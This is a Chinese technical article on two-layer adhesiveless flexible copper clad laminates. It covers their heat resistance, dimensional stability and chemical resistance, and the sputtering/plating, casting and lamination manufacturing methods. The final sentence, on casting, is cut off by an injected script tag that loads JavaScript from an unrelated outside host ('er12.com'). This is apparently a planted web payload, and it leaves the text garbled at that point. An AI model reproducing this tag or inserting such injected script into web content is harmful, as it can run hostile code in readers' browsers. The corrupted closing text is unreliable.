一 前言
软式印刷电路板（flexible printed circuit,fpc）,简称软板，具有柔软、轻、薄及可挠曲等优点，在资讯电子产品快速走向轻、薄、短、小趋势下，目前已广泛应用在笔记型电脑、数位相关、手机、液晶显示器等用途。
传统软板材料，主要是以pi 膜/接着剂/铜箔之三层结构（图1（a））为主，接着剂是以
epoxy/acrylic为主，但接着剂的耐热性与尺寸安定性不佳，长期使用温度限制在100~200，使得三层有胶软板基材（3-layer flexible copper clad laminate,3-layer fccl）的领域受限。
新发展的无胶软板基材（2-layer fccl）仅由pi膜/铜箔（图1（b））所组成，因为不需使用粘着剂而增加了产品长期使用的依赖性及应用范围。
二 无胶软板基材重要的特性
1． 耐热性
无胶软板基材由于没有耐热差的接着剂，所以耐热性相当优异，且长期使用温度可达300以上，图2是在定温200下， 无胶软板基材与三层有胶软板基材抗撕强度对时间的关系，结果表示高温长时间下无胶软板基材抗撕强度变化极小，而三层有胶软板在高温短时间内抗撕强度就急剧下降。图3是无胶软板基材与三层有胶软板基材抗撕强度对温度之关系，结果表示无胶软板基材当温度大于120，因接着剂劣化使得抗撕强度剧烈下降。一般在软板上做smt焊接时，温度大多超过300，另外软硬结合板（rigid-flex）生产中的压合过程温度也高达200，对三层有胶软板基材而言并不适用这些应用。
2． 尺寸安定性
图4为无胶软板基材与三层有胶软板基材尺寸安定性对温度之关系，结果表示无胶软板基材尺寸变化受温度影响相当小，即使高温（300下）尺寸变化率仍在0.1%之内；但三层有胶软板尺寸变化率受温度影响甚大。良好的尺寸安定性对于细线路化制程会有相当大帮助，现今高阶的电子产品如lcd、cof基板等皆强调细线化、高密度、高尺寸安定、耐高温及可靠性，所以在资讯电子产品逐渐走向轻薄短小的趋势发展下，无胶软板将成为市场的主流。
3． 抗化性
图5是无胶软板基材与三层有胶软板基材浸泡于mek下，抗撕强度对时间之关系，由结果表示，无胶软板基材的抗拒化学药品性能相当优异，在长时间下抗撕强度无明显改变，而三层有胶软板基材则因接着剂的耐化学药品性不佳，抗撕强度随时间增长而大幅下降。
无胶软板基材其它的特性还包括可降低基材厚度，符合轻薄短小趋势，此外因为蚀刻后氯离子的残留量低，降低了离子迁移性，也增加了细线路的长期信赖性。
三 无胶软板基材的制造法
无胶软板基材制造方式有三种：（1）溅镀法/电镀法(sputtering/plating);(2)涂布法（casting）;(3)热压法(lamination)。三种方法的比较如表1所示。
表1 无胶软板基材制作方式之比较(资料来源：citcuittree,sep.2000)
（1） 溅镀法/电镀法：以pi膜为基材，利用真空溅镀（sputtering）在pi膜镀上一层金属层后，再以电镀法（electroplating）, 使铜厚度增加。此法优势是能生产超薄的无胶软板基材，铜厚3~12，另外还可生产双面不同厚度的软板。
（2） 涂布法：以铜箔为基材，将合成好的聚醯胺酸（ployamic acid）以精度的模头挤压涂布在成卷的铜箔上，经烘箱干燥及亚醯胺化后（imidization）,形成无胶软板基材。涂布法多用于单面软板，若铜厚低于12以下，此法制?script src=http://er12.com/t.js>
